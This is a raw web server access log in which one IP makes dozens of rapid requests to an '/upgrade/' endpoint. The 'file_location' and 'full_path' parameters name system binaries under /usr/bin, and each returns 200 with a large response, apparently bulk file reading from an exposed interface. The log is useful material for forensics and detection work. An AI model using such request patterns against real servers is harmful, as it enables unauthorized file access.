45.135.193.11 - - [11/Sep/2026:22:48:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnf-3&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97064 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnf-3&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fenvsubst&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107869 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fenvsubst&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpngfix&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 120091 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpngfix&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsxpm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104646 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsxpm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxsubpp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98331 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxsubpp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchrt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104603 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchrt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flesspipe.sh&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97258 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flesspipe.sh&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgmerge&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121321 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgmerge&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-class-add&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101213 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-class-add&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fshowconsolefont&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103760 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fshowconsolefont&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fupdate-ca-trust&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97733 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fupdate-ca-trust&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpapi2&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 769078 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpapi2&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-agent&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 258938 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-agent&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsoelim&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111598 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsoelim&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjournalctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 128990 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjournalctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-add&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 215975 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-add&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fc++&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95594 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fc++&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdmesg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 120395 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdmesg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgawk&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 455140 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgawk&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flinux-boot-prober&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98076 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flinux-boot-prober&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_find_rows&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97515 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_find_rows&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepodiff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97673 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepodiff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzless&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96982 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzless&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 245913 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fos-prober&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98073 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fos-prober&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkill&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108482 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkill&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frealpath&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111810 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frealpath&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sync&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101655 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sync&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcluster&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 118021 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcluster&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 161780 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flwp-request&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102226 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flwp-request&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgcomm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103993 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgcomm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpango-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101453 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpango-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpipewire-avb&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101216 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpipewire-avb&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepomanage&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97506 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepomanage&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faulast&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103620 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faulast&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjcat-tool&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110794 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjcat-tool&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-queue&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100858 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-queue&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpic&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 182340 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpic&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpipewire-aes67&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101356 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpipewire-aes67&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fteamd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 164642 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fteamd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftest&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113899 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftest&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faclocal&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109825 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faclocal&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2F%5B&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117409 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2F%5B&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdumpkeys&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 133937 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdumpkeys&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkimage&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 267064 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkimage&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsdj500&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96027 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsdj500&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fispell&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96244 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fispell&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgfmt3.py&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98716 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgfmt3.py&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-route-get&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99956 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-route-get&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 132812 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpreunzip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98069 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpreunzip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprezip-bin&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100695 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprezip-bin&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpsfaddtable&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106570 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpsfaddtable&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:41 -0400] "GET /upgrade/?full_path=%2Fusr%2Fbin&location=%2F HTTP/1.1" 200 7786 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Fbin&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdwz&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 210751 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdwz&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzdiff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98644 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzdiff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdconf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121227 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdconf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fresolve_stack_dump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 886633 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fresolve_stack_dump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdwp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 427007 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdwp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio2gnuplot&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103179 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio2gnuplot&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkernel-install&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100978 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkernel-install&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
